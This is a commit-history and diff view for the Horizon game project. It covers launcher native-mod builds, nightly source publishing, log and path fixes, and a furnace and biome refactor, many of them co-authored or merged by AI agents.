Compare commits

..
Author SHA1 Message Date
levzzzandCodex 9755416a02 Fix Windows path assertions in the launcher toolchain test (#3285)
Compare managed compiler and PATH entries as platform paths, including Windows executable suffixes. Fixes the Windows assertion that blocked the native-capable launcher release.

Validation: pr_ready passed (401 Python and 219 launcher tests), and the release dry run passed tests and packaged smoke checks on Linux, macOS and Windows.

Co-Authored-By: Codex <[email protected]>
2026-10-28 21:42:53 +05:00
rdbt a5fcb49900 Merge pull request #3262 from Domanffe/fix/chat-log-duplicate
Log a chat message once, as [CHAT]
2026-10-28 16:27:04 +00:00
Ludovic Marie 0ca3a5be98 Merge pull request #3077 from Domanffe/test/parity-reach-posix-fixture
🤖 Agent: read the diff at aef4186de: test_parity_reach's fixture records dependencies with `as_posix()`, as the tool does. verify green. Queued for the merger.
2026-10-28 17:19:37 +01:00
Ludovic Marie 8993772de0 Merge pull request #3078 from Domanffe/fix/port-harness-windows-log-path
🤖 Agent: read the diff at 28e3286e4: port_harness also picks up Windows `C:...x.log` paths from javac's "see ..." lines. verify green. Queued for the merger.
2026-10-28 17:00:51 +01:00
Ludovic Marie 6a261a00a5 Merge pull request #2886 from socksprox/fix/launcher-forget-offline-name
🤖 Agent: read the diff at 5096b4110: launcher offline names: Forget also deletes the name's skin and cape files, async skin picks bail if the name was forgotten meanwhile, account rows load-mutate-save, and "New name" rolls a fresh PlayerNNNNN into every game home. Tests included. verify and launcher green; no harness reaches launcher code. Queued for the merger, which waits for this head's parity run.
2026-10-28 17:00:45 +01:00
Ludovic Marie f8b83eea51 Merge pull request #3250 from horizon-rust/perf/world-entry-pump-between-ticks
🤖 Agent: verify green; pr_ready on the Mac mini passes (34 affected harnesses, 33 run and pass, lan_integration by name: 7 lan_e2e checks incl. spawned/respawn/portals/forced-levels pass). World entry, 2 workers, RD 12, medians of 3: create 8.05 → 3.57 s, reload 3.72 → 1.42 s to all view columns loaded.
2026-10-28 16:54:43 +01:00
Alexander KrylovandHermes Agent 88398e8bda Log a chat message once
`chat_line` logged `[chat]` and then `Chat::add_message` logged `[CHAT]` for
the same message, so every line appeared twice, and the `[chat]` copy slipped
past the `[CHAT]` filter `log_for_report` uses to keep chat out of an attached
log.

Vanilla's `ChatComponent.logChatMessage` writes the one line `add_message`
already writes, so the `chat_line` call is the leftover.

Fixes #3261

Co-Authored-By: Hermes Agent (Nous Research) <[email protected]>
2026-10-28 18:36:21 +03:00
Ludovic Marie 6d3489d30b Merge pull request #3064 from iLostName/trial-spawner-spawn-egg
🤖 Agent: read the diff at 557a82738: a spawn egg on a trial spawner follows `TrialSpawner.overrideEntityToSpawn` -> `FullConfig.overrideEntity` in the 26.3 source: data reset, normal and ominous configs replaced by `Holder.direct(withSpawning(type))` (saved inline through the new `TrialConfig::encode`, `optionalFieldOf` defaults left out), then `setState(INACTIVE)`; plain spawners unchanged. Round-trip test included. verify and parity green on this head. Queued for the merger.
2026-10-28 16:35:54 +01:00
Ludovic MarieandClaude Opus 5.5 7a84c93843 Server: feed the chunk workers between ticks while players' chunks load
A server thread (single player's, a LAN host's, a dedicated server's) ran
`streaming.update` once a tick, and `schedule_generation` keeps at most
three load or generate jobs per worker in flight. Joining a world was
capped at about six columns a tick (120 a second with two workers) while
the workers idled most of each tick. Vanilla's server runs its chunk
tasks while it waits for the next tick (`MinecraftServer.waitUntilNextTick`).

`pump_pregen`, now `pump_chunks`, already did that for a /pregen task and
force-loaded chunks; it now also pumps while the players' chunks are in
flight, except while the server is paused or a respawn search waits for
a chunk (its area is only asked for by the tick's own update).

Mac mini, --profile fast, offscreen, seed 1234, RD 12, server thread,
medians of 3, all 637 view columns in and meshed once:
  2 workers: create 8.05 -> 3.57 s, reload 3.72 -> 1.42 s
  4 workers: create 4.97 -> 2.16 s, reload 2.23 -> 1.27 s

Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-28 16:26:03 +01:00
Ludovic Marie cba52f4e5d Merge pull request #3218 from horizon-rust/fix-server-junction
🤖 Agent: verified: verify, launcher and parity-scope green; local fmt, clippy -D warnings and launcher tests pass. Fixes #3200. Queued for merge.
2026-10-28 16:04:17 +01:00
Ludovic MarieandClaude Opus 5.5 9f1fa0a0a2 launcher: quote server junction paths and show why mklink failed
Creating a server on Windows failed with a bare "mklink /J failed" (#3200).
servers.rs passed the paths to cmd unquoted, so a user folder with `&`, `^`
or `(` broke cmd's parsing; sources.rs already quoted them. Both now use
one sources::junction, which also puts cmd's own message in the error.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-28 15:15:13 +01:00
Ludovic Marie fe84cc07a1 Merge pull request #3208 from horizon-rust/launcher-sidebar-sponsor
🤖 Agent: verified: verify, launcher and parity-scope green; local cargo fmt, clippy -D warnings and launcher tests pass. Queued for merge.
2026-10-28 14:55:08 +01:00
Ludovic Marie d4e42cf726 Merge pull request #3195 from horizon-rust/feat/launcher-native-mods-window
🤖 Agent: proven with a real launcher GUI run in isolated dirs (Settings → Native mods row, red warning naming veinminer 0.3.0, trust → cached build reused, status line); launcher clippy and 265 tests green; #3194 merged and this now targets main with only its own 5 files. Verify green at 505de825.
2026-10-28 14:51:41 +01:00
Ludovic MarieandClaude Opus 5.5 466512c90e launcher: a Sponsor link in the sidebar footer
The GitHub Sponsors link was only on the patch notes page. Show it beside
Discord and Website in the sidebar footer (heart icon), from links.json's
sponsor entry, translated in fr and ru.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-28 14:44:51 +01:00
Ludovic Marie 4db071e281 Merge pull request #3194 from horizon-rust/feat/launcher-native-mods-page
🤖 Agent: proven with a real launcher run in isolated dirs: registry install of Veinminer's .hnmod into an instance, native-build of that instance's enabled native mods, instance pinned to the build; launcher clippy and tests green after merging main (#3140 and #3189 merged). Verify green at 1f6511d0.
2026-10-28 14:40:43 +01:00
Ludovic Marie 2649c5e506 Merge pull request #3202 from horizon-rust/ci/nightly-cap-12
Nightly: 12 builds a day instead of 6
2026-10-28 14:27:40 +01:00
Ludovic MarieandClaude Opus 5.5 505de825db Merge feat/launcher-native-mods-page (main merged in)
Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-28 14:27:32 +01:00
Ludovic MarieandClaude Opus 5.5 1f6511d0f3 Merge main into feat/launcher-native-mods-page (#3140 and #3189 merged)
Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-28 14:26:02 +01:00
Ludovic MarieandClaude Opus 5.5 1523c118d8 Nightly: 12 builds a day instead of 6
The Team tests fixes on the Nightly and hit the cap of 6 builds a day
(Ludovic, 2026-10-28: raise it to 12).

Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-28 14:21:08 +01:00
Ludovic Marie 9239089b76 Merge pull request #3140 from levzzz5154/feat/native-mod-bundles
🤖 Agent: merging levzzz5154's native-mod registry kind; proven with the real Veinminer .hnmod through registry build, the launcher's install check and a native build that ran (see comment).
2026-10-28 14:20:09 +01:00
Ludovic Marie 281ab9759c Merge pull request #3180 from horizon-rust/refactor/furnace-cooking
🤖 Agent: verify passed at 8b5a27ed3. Move only (crate split B7): the furnace's recipe logic leaves containers as the FurnaceCooking extension trait. Full pr_ready green on this head (1261 tests, parity 69 affected / 0 failed); #2959, #2960 and #3131 still merge cleanly. Ready once parity is green.
2026-10-28 14:13:59 +01:00
Ludovic MarieandClaude Opus 5.5 febad05c78 launcher: French and Russian for the Native mods row
Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-28 14:07:55 +01:00
Ludovic MarieandClaude Opus 5.5 519edfac19 docs: native mods in the launcher window
Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-28 14:06:21 +01:00
Ludovic Marie 6561df77f6 Merge pull request #3189 from horizon-rust/feat/launcher-native-build
🤖 Agent: merging: native-build compiles horizon-mixins bundles on their pinned Nightly with the launcher's own Rust; proven by building levzzz's Veinminer .hnmod on 83f15fa (580 s cold, 2m46s warm) and /veinminer answering in the built game.
2026-10-28 14:05:32 +01:00
Ludovic MarieandClaude Opus 5.5 cd7f177104 Launcher: a Native mods switch and Build in Settings, with the warning
Settings → Game → Native mods (experimental), off by default. On, Build names the native mods
turned on in the instance Play starts, warns in red that they run with full access to the
computer, and compiles them only from "I trust these mods: build"; the row shows the step while
it runs, the error if it fails, and the build the instance plays. Ported from native-mixins-1.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-28 14:04:35 +01:00
Ludovic MarieandClaude Opus 5.5 07ab7ccfc1 Merge the native build's measured numbers
Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-28 13:54:36 +01:00
Ludovic MarieandClaude Opus 5.5 727f6c932a docs/native-mods.md: the measured build times and sizes
Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-28 13:54:36 +01:00
Ludovic MarieandClaude Opus 5.5 cd1f58ef72 Launcher: native mods from the registry install and build like the others
- native-mod entries (levzzz5154's #3140) are listed as mods and install as
  horizon-native-mods/<id>.hnmod (the folder #3112's inventory reads), turned on in
  horizon-mods.txt, after the .hnmod is checked as the registry checks it.
- native-build with no folder builds the native mods turned on in the instance, and that
  instance then plays the build (the game's own home builds into the Native mods instance).
- Every registry project says who made it; a project not made by Horizon says it is not made
  or endorsed by the Horizon project, with the mod policy's link (playhorizon.dev/mods/policy).
  A native mod says it runs with full access to the computer and which Horizon it builds on.
- Pruning keeps every native build an instance plays.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-28 13:54:35 +01:00
Ludovic Marie 291aae00e8 Merge pull request #3174 from horizon-rust/ci/nightly-source
🤖 Agent: merging: nightly publishes horizon-source.tar.gz (signed) and tags its commit nightly-source/<date>-<short>; proven by a full dry run of the workflow (run 40686585965) and tests/test_nightly.py.
2026-10-28 13:49:40 +01:00
Ludovic Marie bec8cce82d Merge pull request #3179 from horizon-rust/feat/launcher-rust-toolchain
🤖 Agent: merging: the launcher's portable Rust 1.99.1 (pinned SHA-256 components, own data dir); proven by a real isolated rust install + crate build on the Mac mini and the launcher tests.
2026-10-28 13:49:37 +01:00
Ludovic MarieandClaude Opus 5.5 0ee2425d40 Merge levzzz5154's #3140 (native-mod registry kind, .hnmod validator)
Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-28 13:44:24 +01:00
Ludovic MarieandClaude Opus 5.5 7f3bd901bc Launcher: build native mods on the Nightly they pin, with its own Rust
horizon-launcher native-build FOLDER --trust-native-code compiles mixin bundles (a folder with a
horizon-mixin.toml, or an unpacked .hnmod from the registry) into a game of their own:
- the Horizon commit the mods pin (all must agree; else the installed version's), its source from
  GitHub by commit (Nightlies keep theirs as nightly-source/ tags);
- horizon-mixins at the commit the mods were tested with, built once with the launcher's Rust;
- horizon-mixins apply, then the release's cargo build, with the portable toolchain;
- installed as native-<commit>-<key>, played by the Native mods instance.
Based on native-mixins-1's unmerged work; docs/native-mods.md describes it.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-28 13:43:52 +01:00
Ludovic MarieandClaude Opus 5.5 d308df6167 Launcher: a portable Rust toolchain of its own, for native mods
Native mods compile the game on the player's computer (levzzz5154: many native mods per build). The
launcher now downloads the official rustc, cargo and rust-std components of Rust 1.99.1 (plus
rust-mingw on Windows, the windows-gnu host that needs no Visual Studio) from static.rust-lang.org,
each pinned by SHA-256, into <launcher data>/rust/, and runs them with its own CARGO_HOME. No rustup,
nothing installed on the system. `horizon-launcher rust status|install|remove`.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-28 13:32:09 +01:00
Ludovic MarieandClaude Opus 5.5 5ded675a7d Nightly: publish the exact source, and tag its commit for good
The nightly release names its commit, and now also attaches horizon-source.tar.gz (git archive of that
commit, made from git objects in pick and signed with the builds) and tags the commit
nightly-source/<date>-<short>. The dated release and the nightly/build-* branch are pruned after 7 days;
the tag is not, so native mods pinned to a Nightly's commit keep building.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-28 13:16:48 +01:00
Ludovic Marie 564162a0b0 Merge pull request #2741 from horizon-rust/refactor/cut-biome-spawn-parsers
🤖 Agent: verify passed at 0f565f4e4. Move only: parse_entries/parse_costs/SpawnCost go from mobs/spawn_selection.rs to biome.rs (re-exported), cutting biome -> mobs (step A of the cycle plan). pr_ready --quick green (1315 tests). Ready to merge once parity is green.
2026-10-28 13:12:01 +01:00
Ludovic Marie 8b5a27ed3f Merge remote-tracking branch 'origin/main' into refactor/furnace-cooking 2026-10-28 13:11:00 +01:00
Hermes AgentandHermes Agent c0505424bd fix(launcher): keep native sources hidden until build integration lands
Co-Authored-By: Hermes Agent (OpenAI) <[email protected]>
2026-10-28 15:27:51 +05:00
Hermes AgentandHermes Agent 137045e321 feat(mods): validate source-only native mod bundles
Co-Authored-By: Hermes Agent (OpenAI) <[email protected]>
2026-10-28 15:20:36 +05:00
AlexanderandHermes Agent 28e3286e40 Port harness: read the log a Windows javac error names
named_logs only matched a Posix absolute path (`see /...log`), so on Windows
horizon-prepare's "see C:\...\export.log" matched nothing and its javac
errors were never shown. The pattern now takes either form.

Co-Authored-By: Hermes Agent (Nous Research) <[email protected]>
2026-10-28 10:21:06 +03:00
AlexanderandHermes Agent aef4186de4 Tests: the parity-reach fixture names files the way the tool does
narrow() and its graph key files by Posix path (`crates/a/src/used.rs`), so
a fixture built from str(relative_to) on Windows produced backslashes and all
seven tests errored in setUp. as_posix() in the fixture matches the tool.

Co-Authored-By: Hermes Agent (Nous Research) <[email protected]>
2026-10-28 10:16:41 +03:00
iLostName 557a827383 trial spawner: a spawn egg sets its mob, as overrideEntityToSpawn does
Fixes #3041.
2026-10-28 06:52:26 +01:00
Ludovic Marie 4b4950d7c4 Merge branch 'refactor/be-layer-deps' into refactor/furnace-cooking 2026-10-27 22:36:31 +01:00
Ludovic MarieandClaude Opus 5.5 5096b41100 Merge main into #2886: offline names need an owner since main
Keep main's owner check (play_as takes the store, Sign out updates
the owner state) with the branch's load-mutate-save and skin cleanup.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-27 22:28:22 +01:00
Ludovic MarieandClaude Opus 5.5 a34a41e1b5 refactor: move the furnace's recipe logic out of containers
Move-only step B7 of the horizon-client crate split. `impl Furnace`
needed `crafting::Recipes`, the one gameplay module containers still
reached. Its four methods (set_input, recipe_experience, input_clicked,
tick) move unchanged to a new `furnace` module, as the extension trait
`FurnaceCooking` implemented for the Furnace data, with the two helpers
only they use (remainder, total_time). Callers add one `use`.

containers now depends only on modules of the render/world layer
(skins and tab_list included), so it can move into that crate whole.

No behaviour change.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-27 19:59:55 +01:00
socksproxandDevin 9b6faeb8cf launcher: the game's made-up name can be rolled for a new one
The game's own name (horizon-player.txt) isn't a kept offline name, so
Forget never applied to it and there was no way to be rid of it. Settings
> Account shows it with "New name", which writes a fresh PlayerNNNNN to
every existing game home — the default and each instance's — so the
player stays the same (new) player in its worlds, as PLAYER_FILES' copies
do.

Co-Authored-By: Devin <158243242+devin-ai-integration[bot]@users.noreply.github.com>
2026-10-27 18:13:55 +01:00
socksproxandDevin 8cfc13fe2c launcher: the account list follows changes made outside the window
accounts.json was read once at start-up, so an offline name added or
forgotten through the CLI or another window left the running window
without the name's row (and its Forget button) until relaunch. Page
switches and opening the account chip's menu read it again, as the
game's made-up name already was.

Co-Authored-By: Devin <158243242+devin-ai-integration[bot]@users.noreply.github.com>
2026-10-27 17:49:50 +01:00
socksproxandDevin a7e3bcf79f launcher: a forgotten offline name is gone for good
Forget removed the name from accounts.json but left skins/<name>.png and
skins/<name>.cape.png behind, the skin panel's file pick could still
record a look for a name that no longer existed, and the account rows'
Play as / Play offline / Sign out saved the window's stale account list,
which could write a name forgotten elsewhere (CLI, another window) back.

Co-Authored-By: Devin <158243242+devin-ai-integration[bot]@users.noreply.github.com>
2026-10-27 17:41:07 +01:00
Ludovic MarieandClaude Opus 5.5 0f565f4e4c refactor: biome's spawn-list parsers live in biome.rs
parse_entries, parse_costs and SpawnCost read the biome JSON's
natural_mob_spawns and build biome::SpawnEntry; biome.rs reached into
mobs::spawn_selection for them, one of the edges that keep the client lib
in a single cycle. They move to biome.rs and spawn_selection re-exports
them. No behaviour change.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
2026-10-27 11:11:39 +01:00
54 changed files with 2711 additions and 312 deletions

No files matched your search

+20 -1
View File
@@ -25,6 +25,9 @@ run-name: nightly build${{ inputs.request && format(' (request {0})', inputs.req
# names the channel ("horizon release nightly"), so a nightly's signature can't pass for a release's.
# - `publish` verifies the signature with main's horizon-release-sign, checks the smoke test, and only then moves
# the tag. Like sign, it never executes what build produced.
# - The source ships with the build: `pick` writes horizon-source.tar.gz with `git archive` (git objects again, nothing
# run), `sign` signs it with the builds, and `publish` attaches it and tags the commit nightly-source/<date>-<short>
# for good (the dated release and the build branch go after 7 days; native mods pin the commit: docs/native-mods.md).
# gh workflow run "nightly build" # now (skips when the pick is the same commit as last night's)
# gh workflow run "nightly build" -f force=true # build and publish even if unchanged
# gh workflow run "nightly build" -f dry_run=true # build and sign with a throwaway key, publish nothing
@@ -76,6 +79,7 @@ jobs:
date: ${{ steps.pick.outputs.date }}
version: ${{ steps.pick.outputs.version }}
nightly: ${{ steps.pick.outputs.nightly }}
source_tag: ${{ steps.pick.outputs.source_tag }}
dry_run: ${{ steps.mode.outputs.dry_run }}
steps:
- uses: actions/checkout@v4
@@ -103,6 +107,18 @@ jobs:
GH_TOKEN: ${{ github.token }}
run: |
{ echo "### nightly/build-* branches"; python3 tools/ci/nightly.py prune-builds --days 7; } | tee -a "$GITHUB_STEP_SUMMARY"
- name: The source of the build (horizon-source.tar.gz)
if: steps.pick.outputs.build == 'true'
env:
SHA: ${{ steps.pick.outputs.sha }}
run: git archive --format=tar.gz --prefix="horizon-${SHA:0:7}/" -o horizon-source.tar.gz "$SHA"
- uses: actions/upload-artifact@v4
if: steps.pick.outputs.build == 'true'
with:
name: horizon-source
path: horizon-source.tar.gz
if-no-files-found: error
retention-days: 3
- uses: actions/upload-artifact@v4
with:
name: nightly-notes
@@ -144,7 +160,7 @@ jobs:
EPHEMERAL: ${{ needs.pick.outputs.dry_run == 'true' && 'yes' || '' }}
run: |
bash tools/ci/sign_release.sh nightly dist/horizon-linux-x86_64.tar.gz dist/horizon-windows-x64.zip \
dist/horizon-macos-arm64.zip dist/horizon-server-linux-x86_64.tar.gz
dist/horizon-macos-arm64.zip dist/horizon-server-linux-x86_64.tar.gz dist/horizon-source.tar.gz
- uses: actions/upload-artifact@v4
with:
name: signature
@@ -187,6 +203,7 @@ jobs:
GH_TOKEN: ${{ github.token }}
SHA: ${{ needs.pick.outputs.sha }}
DATE: ${{ needs.pick.outputs.date }}
SOURCE_TAG: ${{ needs.pick.outputs.source_tag }}
run: |
set -euo pipefail
python3 tools/ci/nightly.py rotate
@@ -198,7 +215,9 @@ jobs:
"dist/horizon-windows-x64.zip#Nightly game files: Windows (horizon-windows-x64.zip)" \
"dist/horizon-macos-arm64.zip#Nightly game files: macOS (horizon-macos-arm64.zip)" \
"dist/horizon-server-linux-x86_64.tar.gz#Nightly dedicated server for Linux (horizon-server-linux-x86_64.tar.gz)" \
"dist/horizon-source.tar.gz#Source of this Nightly, commit ${SHA:0:7} (horizon-source.tar.gz; kept for good as the tag $SOURCE_TAG)" \
dist/SHA256SUMS "${signature[@]}" dist/smoke-test.json
python3 tools/ci/nightly.py keep-source "$SHA" "$DATE"
python3 tools/ci/nightly.py prune --days 7
- name: Dry run, the nightly that would be published
if: needs.pick.outputs.dry_run == 'true'
+4
View File
@@ -97,6 +97,9 @@ impl Report {
for r in &f.requires {
out += &format!(" needs {} {} ({})\n", r.id, r.version, &r.sha256[..12]);
}
if self.kind == Kind::NativeMod {
out += " native source: unsandboxed; not executed by the registry check. Compile and test against the exact pinned Horizon and Mixins revisions before review.\n";
}
if self.kind == Kind::Mod && !self.code {
out += " no code: content only, nothing to run\n";
} else if self.kind == Kind::Mod {
@@ -118,6 +121,7 @@ impl Report {
pub fn kind_of(path: &Path) -> Option<Kind> {
match path.extension()?.to_str()? {
"hmod" => Some(Kind::Mod),
"hnmod" => Some(Kind::NativeMod),
"hpack" => Some(Kind::Modpack),
"zip" => Some(Kind::ResourcePack),
"hshader" => Some(Kind::Shader),
@@ -7,6 +7,7 @@
use horizon_client::{
containers::{Furnace, FurnaceKind},
crafting::Recipes,
furnace::FurnaceCooking,
item_data::{canon_stack, parse_stack},
items::Items,
menu::{Env, Input, Kind, Menu},
+59 -3
View File
@@ -20,12 +20,68 @@ pub struct SpawnEntry {
/// A `ConstantInt` count (sampling draws nothing).
pub constant: bool,
}
/// A `natural_mob_spawns` / `spawn_overrides` entry list.
pub fn parse_entries(list: &Value) -> Vec<SpawnEntry> {
list.as_array()
.into_iter()
.flatten()
.filter_map(|e| {
let count = &e["count"];
let (min, max, constant) = match count {
Value::Number(n) => {
let n = n.as_u64().unwrap_or(1) as u32;
(n, n, true)
}
c if c["type"].as_str() == Some("minecraft:constant") => {
let n = c["value"].as_u64().unwrap_or(1) as u32;
(n, n, true)
}
c => (
c["min_inclusive"].as_u64().unwrap_or(1) as u32,
c["max_inclusive"].as_u64().unwrap_or(1) as u32,
false,
),
};
Some(SpawnEntry {
entity: e["type"].as_str()?.to_owned(),
weight: e["weight"].as_u64().unwrap_or(1) as u32,
min,
max,
constant,
})
})
.collect()
}
/// `MobSpawnSettings.MobSpawnCost`.
#[derive(Clone, Copy, Debug, PartialEq)]
pub struct SpawnCost {
pub energy_budget: f64,
pub charge: f64,
}
/// The `spawn_costs` of a `natural_mob_spawns` value.
pub fn parse_costs(costs: &Value) -> HashMap<String, SpawnCost> {
costs
.as_object()
.into_iter()
.flatten()
.map(|(k, c)| {
(
k.clone(),
SpawnCost {
energy_budget: c["energy_budget"].as_f64().unwrap_or(0.0),
charge: c["charge"].as_f64().unwrap_or(0.0),
},
)
})
.collect()
}
#[derive(Clone, Debug)]
pub struct BiomeInfo {
/// `natural_mob_spawns` by category (creature, monster, ...).
pub spawns: HashMap<String, Vec<SpawnEntry>>,
/// `natural_mob_spawns` spawn costs by entity type.
pub spawn_costs: HashMap<String, crate::mobs::spawn_selection::SpawnCost>,
pub spawn_costs: HashMap<String, SpawnCost>,
/// The `gameplay/creature_world_gen_spawn_probability` attribute.
pub creature_probability: f32,
/// The `gameplay/increased_fire_burnout` attribute (jungles, swamps, peaks,
@@ -150,12 +206,12 @@ impl Biomes {
};
let categories = &natural["spawns_by_category"];
for (category, entries) in categories.as_object().into_iter().flatten() {
let list = crate::mobs::spawn_selection::parse_entries(entries);
let list = parse_entries(entries);
spawns.insert(category.clone(), list);
}
list.push(BiomeInfo {
spawns,
spawn_costs: crate::mobs::spawn_selection::parse_costs(&natural["spawn_costs"]),
spawn_costs: parse_costs(&natural["spawn_costs"]),
creature_probability:
attributes["minecraft:gameplay/creature_world_gen_spawn_probability"]
.as_f64()
+2 -166
View File
@@ -5,11 +5,8 @@ pub use crate::chunk::block_entity::{
Banner, Beacon, BlockEntity, Campfire, ChiseledBookshelf, Crafter, CreakingHeart, EndGateway,
Furnace, FurnaceKind, Jukebox, Lectern, Skull, SkullSkin,
};
use crate::{
crafting::Recipes,
items::{ItemStack, Items},
};
use std::{collections::HashMap, sync::Arc};
use crate::items::ItemStack;
use std::collections::HashMap;
impl FurnaceKind {
pub fn recipe_type(self) -> &'static str {
@@ -380,167 +377,6 @@ impl BlockEntity {
}
}
pub use crate::providers::Providers;
fn remainder(item: &str) -> Option<&'static str> {
match item {
"minecraft:lava_bucket" | "minecraft:water_bucket" | "minecraft:milk_bucket" => {
Some("minecraft:bucket")
}
_ => None,
}
}
impl Furnace {
/// `AbstractFurnaceBlockEntity.setItem` on the input slot: anything but
/// the same item with the same components restarts cooking, with the
/// total time of the new input's recipe (200 ticks without one).
pub fn set_input(&mut self, recipes: &Recipes, stack: Option<ItemStack>) {
let same = match (&self.items[0], &stack) {
(Some(old), Some(new)) => old.same_item_same_components(new),
_ => false,
};
self.items[0] = stack;
if !same {
self.cooking_total = self.items[0]
.as_ref()
.and_then(|input| recipes.cook(self.kind.recipe_type(), input))
.map_or(200, |recipe| total_time(recipe.time, self.speed));
self.cooking_timer = 0;
}
}
/// `recipesUsed`, each recipe with its `experience` (0 for one this data pack does
/// not have), in the order `getRecipesToAwardAndPopExperience` pays them.
pub fn recipe_experience(&self, recipes: &Recipes) -> Vec<(u32, f32)> {
self.recipes_used
.iter()
.map(|(id, count)| (*count, recipes.cooking_experience(id)))
.collect()
}
/// A menu click wrote its slots into `items`, and `before` was the input
/// slot until then: the menu called `setItem` on it only if it changed
/// (`Slot.setByPlayer`; partial takes and merges keep the stack).
pub fn input_clicked(&mut self, recipes: &Recipes, before: Option<ItemStack>) {
if self.items[0] != before {
let after = std::mem::replace(&mut self.items[0], before);
self.set_input(recipes, after);
}
}
/// One server tick. Returns `Some(lit)` when the LIT block state must change.
pub fn tick(
&mut self,
recipes: &Recipes,
items: &Items,
providers: &Providers,
) -> Option<bool> {
let was_lit = self.lit_remaining > 0;
let mut lit = false;
if self.lit_remaining > 0 {
self.lit_remaining -= 1;
lit = self.lit_remaining > 0;
}
let fast = self.kind.fast();
let has_ingredient = self.items[0].is_some();
let has_fuel = self.items[1].is_some();
if lit || has_fuel && has_ingredient {
if let Some(ingredient) = self.items[0].clone() {
if let Some(recipe) = recipes.cook(self.kind.recipe_type(), &ingredient) {
if self.cooking_timer == 0 {
self.cooking_total = total_time(recipe.time, self.speed);
}
let max = items.get(&recipe.result.item).map_or(64, |i| i.max_stack);
let can_burn = match &self.items[2] {
None => true,
Some(out) => {
out.item == recipe.result.item && out.count + recipe.result.count <= max
}
};
if can_burn {
if !lit {
let fuel = self.items[1].clone();
let time = fuel
.as_ref()
.map_or(0, |f| providers.burn_time(items, f, fast));
let speed = fuel
.as_ref()
.map_or(1.0, |f| providers.speed(items, f, fast));
self.lit_remaining = time;
self.lit_total = time;
self.speed = speed;
if self.cooking_total > 0 && self.cooking_timer < self.cooking_total {
let ratio = self.cooking_timer as f32 / self.cooking_total as f32;
self.cooking_total = total_time(recipe.time, self.speed);
self.cooking_timer =
(ratio * self.cooking_total as f32).ceil() as i32;
}
if time > 0 {
if let Some(f) = self.items[1].as_mut() {
let item = f.item.clone();
f.count -= 1;
if f.count == 0 {
self.items[1] = remainder(&item).map(|r| ItemStack {
item: Arc::from(r),
count: 1,
damage: 0,
extra: None,
});
}
}
lit = true;
}
}
if lit {
self.cooking_timer += 1;
if self.cooking_timer >= self.cooking_total {
self.cooking_timer = 0;
self.cooking_total = total_time(recipe.time, self.speed);
match &mut self.items[2] {
Some(out) => out.count += recipe.result.count,
None => self.items[2] = Some(recipe.result.clone()),
}
*self
.recipes_used
.entry(recipe_used_key(&recipe.id))
.or_insert(0) += 1;
// AbstractFurnaceBlockEntity.burn: drying a wet sponge fills
// the bucket in the fuel slot.
if self.items[0]
.as_ref()
.is_some_and(|i| &*i.item == "minecraft:wet_sponge")
&& self.items[1]
.as_ref()
.is_some_and(|f| &*f.item == "minecraft:bucket")
{
self.items[1] =
Some(ItemStack::new("minecraft:water_bucket", 1));
}
if let Some(i) = self.items[0].as_mut() {
i.count -= 1;
if i.count == 0 {
self.items[0] = None;
}
}
}
} else {
self.cooking_timer = 0;
}
} else {
self.cooking_timer = 0;
}
}
} else {
self.cooking_timer = 0;
}
} else if self.cooking_timer > 0 {
self.cooking_timer = (self.cooking_timer - 2).clamp(0, self.cooking_total);
}
(was_lit != lit).then_some(lit)
}
}
fn total_time(time: u32, speed: f32) -> i32 {
if speed > 0.0 {
(time as f32 / speed).ceil() as i32
} else {
time as i32
}
}
/// `AbstractFurnaceBlockEntity.createExperience`: `count * experience`, floored, and one
/// more with the chance of what is left over (a level random draw only when there is some).
+173
View File
@@ -0,0 +1,173 @@
//! `AbstractFurnaceBlockEntity`'s cooking over the furnace data the chunk
//! holds (`containers::Furnace`): it needs the recipes, so it lives above them.
use crate::{
containers::{Furnace, recipe_used_key},
crafting::Recipes,
items::{ItemStack, Items},
providers::Providers,
};
use std::sync::Arc;
/// The furnace methods that read the recipes.
pub trait FurnaceCooking {
/// `AbstractFurnaceBlockEntity.setItem` on the input slot: anything but
/// the same item with the same components restarts cooking, with the
/// total time of the new input's recipe (200 ticks without one).
fn set_input(&mut self, recipes: &Recipes, stack: Option<ItemStack>);
/// `recipesUsed`, each recipe with its `experience` (0 for one this data pack does
/// not have), in the order `getRecipesToAwardAndPopExperience` pays them.
fn recipe_experience(&self, recipes: &Recipes) -> Vec<(u32, f32)>;
/// A menu click wrote its slots into `items`, and `before` was the input
/// slot until then: the menu called `setItem` on it only if it changed
/// (`Slot.setByPlayer`; partial takes and merges keep the stack).
fn input_clicked(&mut self, recipes: &Recipes, before: Option<ItemStack>);
/// One server tick. Returns `Some(lit)` when the LIT block state must change.
fn tick(&mut self, recipes: &Recipes, items: &Items, providers: &Providers) -> Option<bool>;
}
fn remainder(item: &str) -> Option<&'static str> {
match item {
"minecraft:lava_bucket" | "minecraft:water_bucket" | "minecraft:milk_bucket" => {
Some("minecraft:bucket")
}
_ => None,
}
}
impl FurnaceCooking for Furnace {
fn set_input(&mut self, recipes: &Recipes, stack: Option<ItemStack>) {
let same = match (&self.items[0], &stack) {
(Some(old), Some(new)) => old.same_item_same_components(new),
_ => false,
};
self.items[0] = stack;
if !same {
self.cooking_total = self.items[0]
.as_ref()
.and_then(|input| recipes.cook(self.kind.recipe_type(), input))
.map_or(200, |recipe| total_time(recipe.time, self.speed));
self.cooking_timer = 0;
}
}
fn recipe_experience(&self, recipes: &Recipes) -> Vec<(u32, f32)> {
self.recipes_used
.iter()
.map(|(id, count)| (*count, recipes.cooking_experience(id)))
.collect()
}
